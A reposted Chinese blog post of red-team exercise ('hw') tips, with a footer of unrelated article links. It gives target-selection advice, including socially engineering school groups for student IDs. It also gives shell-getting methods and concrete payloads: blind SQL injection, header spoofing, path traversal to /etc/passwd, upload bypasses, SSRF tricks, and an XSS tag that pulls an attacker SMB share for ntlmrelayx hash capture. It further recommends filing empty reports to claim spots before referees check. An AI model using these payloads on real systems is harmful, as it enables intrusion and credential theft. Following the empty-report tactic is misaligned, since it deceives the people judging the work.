hw小技巧(转载)
小弟也第一次参加hw,经过5天hw,确实也学到了许多的东西,但就本次分享而言,我分享一些我认为在hw里面值得注意的东西以及一些小技巧
0x01 信息收集
信息收集这个多西当然都是老生常谈了,你收集的东西越多,能打的方向也就越多,当然,hw给你打的资源的格式一般为单位名称,系统名称,域名,IP地址。当然,其他的资源可能都大同小异。
网上都有很多信息收集的东西,都是那一套,扫端口,找子域名,看站有没有泄露什么东西,什么敏感文件,看网站的框架。现在,我就先给大家梳理一下。
信息收集的本质有2个,一是把现有的资源扩大,能给我们多一些渗透的方向。二是了解渗透目标,是我们的exp能够精准有效的打击。
如何把资源扩大?
比如给的目标:单位名称:xxx市学校,域名:www.abc.com ip:123.123.123.123(有的要给端口)
首先从单位名称入手,进入fofa或者其他搜收平台,title="xxx市学校"
然后是域名,域名建议用挖掘机或者subDomainsBrute.py
ip的话就是扫端口,外网建议用masscan,内网的话建议用nbtscan。
如何了解我们的渗透目标
推荐几款google的插件,第一款wappalyzer.
当然,这款插件也不一定检查的全,但是还是能检查出大部分的,有些框架你要进入网站的一些目录才会检查出来,例如进入后台登录界面,一些文章分类的界面。
当然还有一些小众的用法,就这一次,我们团队进了一个学校oa的后台,弱口令进的,但是那个后台没有上传,注入各类参数也没有测出来,然后在登陆界面上面写的是鹏达内网校园系统,但是进去就没有任何信息,然后就在网上找exp,没想到在cnvd上找到了注入,队友们真的好顶啊。
第二款shodan
这个可以探测端口,有些时候能探测出漏洞,就比如这次hw,我探测出来了心脏滴血,虽然最后没用用上
然后是扫目录和找后台的,扫目录的我推荐dirsearch.py和御剑,找后台的我推荐test404轻量级后台扫描器。
当然,以来我们可以先不扫,可以找一些敏感的文件后者后台,常见的敏感文件phpinfo,robots.txt.
phpinfo的话可以看看绝对路径,网上也有几篇讲了phpinfo可以getshell,但我遇到了很多phpinfo没有get到一个,不过有一次倒是遇到了phpstudy的后门,秒了一次。
robots.txt看的话也基本上是disallow,然后啥也没有了,但是还是看一看,万一有惊喜呢。
有一个网站可以在线探测,还挺不错的,https://scan.top15.cn/web/infoleak
但是其他功能就比较拉跨,哈哈哈哈。
后台的话可以手动先找一下,admin,login,manager,或者比如成都市阿鑫鑫鑫鑫哥哥公司,www.abc.com/axxxxgg/admin,这样先探测一下,再扫,效果会更好一点。
信息收集的话我们还是在每一个资源上都测一下域传输漏洞,如果真有,那岂不美滋滋?
0x02 目标选择
hw其实就只有这么几天时间,选择一个好的目标,我们能够在有限的时间内,更容易拿分。
优先选择学校>化工&&交通&&能源&&论坛&&各类企业>医院&&银行&&电信(运营商搭建的)
为什么这样选,因为高校的资源多,有OA系统,教务,学生平台,广播系统,新闻发布中心,乱七八糟的,都可以打,并且,高校的防御相对于没有那么森严,而且,也容易社工,比如xxx市职业学校,在qq上收一下什么xxxx市职业学校兼职群,xxxx市职业学校新生群,学号大把大把的有,其他的系统哪儿有那么容易。
然后再说说为什么把医院银行,电信这三个放最后,首先是医院,如果真的拿下一个his的内网权限,真的对这个医院,或者是这个地级市造成不可估量的损失。所以防护肯定是拉满的,第二,资源少啊,一个医院,除了域名,oa系统,基本上你找不到其他资源了,并且一些敏感的目录动不动就500,怎么玩?银行也同理,所以,我们要想拿下,真就看运维,或者手上的day。
中间的话,资源略少于学校,网站的防护也略低于医院银行。
0x03 拿shell(得分)
1.如果运气好,什么tp,joomla的框架,网上有exp,直接秒掉,这是最好的。
2.弱口令,永远的神,admin admin admin admin123 admin 123456 先打一波,然后在合理的爆破,先不说拿不拿的下,当我们那一个弱口令,就用50-100的分,并且有很多口子,都是弱口令进入后台,拿下shell的。
3.上传,上传成功就shell,还是很粗暴的,如果是黑名单,想办法绕,网上有很多思路的,白名单看是否存在解析,没有的话直接pass
4.各类未授权
什么redis,mongodb,扫了端口都先测一波,未授权的分虽然低,但是还是很多,不管是外网或者内网,特别是在内网打不动的时候,找一找未授权,形形色色的内网系统各类未授权的分真的相当于几台服务器了。
5.注入
注入的话现在越来越难利用了,因为注入曾经太猛了,mysql的话基本上是读读数据,读出数据进入后台拿下shell,mssql还好一些,运气好的话--os-shell直接cs上线,不支持堆叠注入的话吐司有一篇文章讲的就是不支持堆叠注入getshell。
6.xss,钓鱼
需要时间。
7.其他漏洞
xxe,ssrf,csrf等漏洞,真的遇到都算是不错了。
0x04 hw测试的地方和一些另类小技巧
1.对于java的框架真的要很敏感,常见的st2,jboss反序列化,shiro反序列化。
2.看站的时候可以用xray,真的有用,这次hw找了3个注入,给长亭打钱
3.当资源共享出来的时候,找到了什么弱口令,未授权,先交报告,然后在编辑,因为裁判要复现打一到,可能还要玩手机,所以不用担心交了报告马上就会审核,所以我们可以先交报告,站一个坑位,然后在编辑,因为当资源共享的时候,一个弱口令都是香饽饽,大家都会交,所以我们先交站坑位,如果裁判马上审,就是,哎哟,交快了,交了一个空报告,不好意思。
4.当资源没有共享的时候,报告经量交一个完整的,就是外网打点进入,打穿内网,直接把这个资源的分恰满,但是资源共享的时候还是找了一个交一个,除非很有自信,其他队找不到。
0x05 分享一些东西
(1)sql注入和逻辑漏洞
1.注册账号的时候:账号admin空格空格空格空格空格空格 密码随意。登陆的时候会把空格解析掉,变成真正的admin。
2.如若只能上传图片的时候,可以把图片名修改,造成二次注入.
3.?x=1-if(user() like 'x%25',0,1)这条payload放入burpsuit,然后给x加入payload,大小写加上,处数据。
4.好好利用bp与sql注入,可以更改包的格式,get改为Post,然后在输入payload。
5.我们在用bp抓包是,我们可以将x-forward改为127.0.0.1,它可能对本地的包不过滤
6.比如一个页面存在sql注入,但是可能会被拦截,我们可以尝试在url里头构造admin,install,等白名单词汇来绕过
7.垃圾数据注入,如果是post型,就把垃圾数据放在需要注入的参数后面,如果是get型,就把他变成Post型,在放垃圾数据
8.在后台,我们的账号权限不够,可以修改密码,将refer和Post里的参数改为管理员的账号已引发逻辑漏洞
(2)信息收集篇
1.如若存在git文件,.git文件可以用来恢复源代码
2.ds_store可以用python的exp打
3..svn文件
4.如若扫到敏感文件,但是却没有权限访问,列如http://localhost:8080/urltest/info/secret.jsp此页面
1.http://localhost:8080/urltest/./info/secret.jsp
2.http://localhost:8080/urltest/;xinxin/info/secret.jsp
3.http://localhost:8080/urltest/xinxin/../info/secret.jsp //都可以尝试一下
5.如果存在swp文件,是vim的文件,我们可以用vim -r来恢复,说不定能看到一些yd的东西
(3)上传篇
1.如若不存在白名单限制,但就是上传不了,可以改为csproj这个后缀,再上传php,包含csproj即可
常见的假后缀,phtml
2.如若存在某种白名单限制,我们可以借助环境变量绕过,列如
无法上传dll文件,我们可以将dll的后缀改为php,然后用sql查询hex值
select hex(load_file('F:/phpstudy/phpstudy/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin/1.php'));
然后再用php语法转化为dll二进制文件
3.基于Content-Type,除了常见的application/xml,application/json,multipart/form-data
还有就是application/vnd.php.serialized,将CT改为application/vnd.php.serialized
(4)其他
1.如果能上传swf,也可以根据swf构造xss的payload
2.可以利用xss拿ntml
python ntlmrelayx.py -tf targets.txt -c hostname > ~/smbrelay.txt target.txt是ip地址
<script src="\\\\10.0.0.7\\smbrelay"><br> 3.如用xss拿下cookie,但是登陆以后是静态的,我们就得想到同源策略,设置document.cookie来共享cookie.<br> 4.ssrf利用可以将ip转化为8进制。 //此外,八进制前面可以+0,可以加1-3个<br> 5.也可以将https:// 这2个//去掉<br> 6.重定向,<a href="https://www.baidu.com@127.0.0.1">https://www.baidu.com@127.0.0.1</a> //@可以变为#和?<br> 7.如若无法访问,可以尝试加上端口,加一个80<br> 8.平时用bp抓包,对cookie以及session这2个字段敏感一点,修改一下参数说不定可以造成任意用户浏览<br> 9.网页URL里头存在啥子action=,或者啥子单一的参数等于,可以搞啊一哈action=../../etc/passwd 可以用bp抓包,看到他的一些文件和路径<br> 10.如果用bp抓包,发现有command参数,我们可以试试cat+/etc/version看信息,根据版本来说
hw小技巧(转载)的更多相关文章
- GJM : Unity3D - UI - UI边缘流光特效小技巧 [转载]
感谢您的阅读.喜欢的.有用的就请大哥大嫂们高抬贵手"推荐一下"吧!你的精神支持是博主强大的写作动力以及转载收藏动力.欢迎转载! 版权声明:本文原创发表于 [请点击连接前往] ,未经 ...
- python debug小技巧&&工程能力的几点建议
Debug小技巧: 转载请声明本文的引用出处:仰望大牛的小清新 1.初次编程时,在每一个if后面都写上else,这样,如果你的else原本是不应该运行的,那么就可以在else中输出此时的状态信息便于排 ...
- [转载]Js小技巧||给input type=“password”的输入框赋默认值
http://www.cnblogs.com/Raywang80s/archive/2012/12/06/2804459.html [转载]Js小技巧||给input type="passw ...
- 【转载】PHP 开发者该知道的 5 个 Composer 小技巧
Composer是新一代的PHP依赖管理工具.其介绍和基本用法可以看这篇<Composer PHP依赖管理的新时代>.本文介绍使用Composer的五个小技巧,希望能给你的PHP开发带来方 ...
- 【转载】Intellij IDEA神器居然还有这些小技巧
概述Intellij IDEA真是越用越觉得它强大,它总是在我们写代码的时候,不时给我们来个小惊喜.出于对Intellij IDEA的喜爱,我决定写一个与其相关的专栏或者系列,把一些好用的Intell ...
- [转载 java 技术栈] eclipse 阅读跟踪 Java 源码的几个小技巧!
本文基于Eclipse IDE,我们每天都使用的IDE其实提供了很多强大的功能,掌握它们,往往能够事半功倍. 1.Quick Type Hierarchy 快速查看类继承体系. 快捷键:Ctrl + ...
- (转载) TextView使用一些小技巧
TextView使用一些小技巧 标签: textviewandroid开发 2015-10-09 16:13 810人阅读 评论(0) 收藏 举报 分类: Android(20) 本文主要讲一些T ...
- 最强 Android Studio 使用小技巧和快捷键
写在前面 本文翻译自 Android Studio Tips by Philippe Breault,一共收集了62个 Android Studio 使用小技巧和快捷键. 根据这些小技巧的使用场景,本 ...
- 一些Python的惯用法和小技巧:Pythonic
Pythonic其实是个模糊的含义,没有确定的解释.网上也没有过多关于Pythonic的说明,我个人的理解是更加Python,更符合Python的行为习惯.本文主要是说明一些Python的惯用法和小技 ...
随机推荐
- Training spiking neural networks for reinforcement learning
郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! 原文链接:https://arxiv.org/pdf/2005.05941.pdf Contents: Abstract Introduc ...
- seo成功案例的背后秘密
http://www.wocaoseo.com/thread-319-1-1.html 刚刚在seo群内一个企业主告诉我,他在淘宝找了做seo排名的,在交了首付后,对方却跑路了.对方刚刚在淘宝开店,然 ...
- 医疗seo常用的图标工具
http://www.wocaoseo.com/thread-304-1-1.html 下面是一些医疗seo常用的一些图表工具,这些都是些最简单的工具,主要放置这里以防止以后有作用. 1,医疗的常用搜 ...
- 力扣Leetcode 50. 实现Pow(x, n)
实现Pow(x, n) 实现 pow(x, n) ,即计算 x 的 n 次幂函数. 示例 1: 输入: 2.00000, 10 输出: 1024.00000 示例 2: 输入: 2.10000, 3 ...
- Java开发之javaEE(java2EE)的介绍,java软件工程师初步阶段知识
1. 为什么需要JavaEE 我们编写的JSP代码中,由于大量的显示代码和业务逻辑混淆在一起,彼此嵌套,不利于程序的维护和扩展.当业务需求发生变化的时候,对于程序员和美工都是一个很重的负担. 为了程序 ...
- python执行gradle脚本
import os import shutil import subprocess #拷贝文件 def copyFile(srcFile, dstFile): #检查源文件是否存在 if not os ...
- Linux常用命令--不断更新
Linux命令: !. 1.[root@loc8lhost/root]# 表示登陆进去系统,其中#是超级⽤用户也即root⽤用 户的系统提示符 #. 2.reboot命令可以重启系统 $. 3.关闭系 ...
- C III
http://cossacksworld.ucoz.co.uk/load/c_iii_files/79 http://cossacksworld.ucoz.co.uk/load/c_iii_files ...
- Myabtis动态SQL,你真的会了吗?
目录 前言 什么是动态SQL? 常用的标签 if choose.when.otherwise where foreach set sql include 总结 拓展一下 Mybatis中如何避免魔数? ...
- Redis安装问题解决方案
Redis部署采坑记 Redis部署采坑记 问题一: 问题描述: make 编译源码时报错 问题详解: 因为缺少gcc-c++编译器的原因 解决方案: 方案一: yum -y install gc ...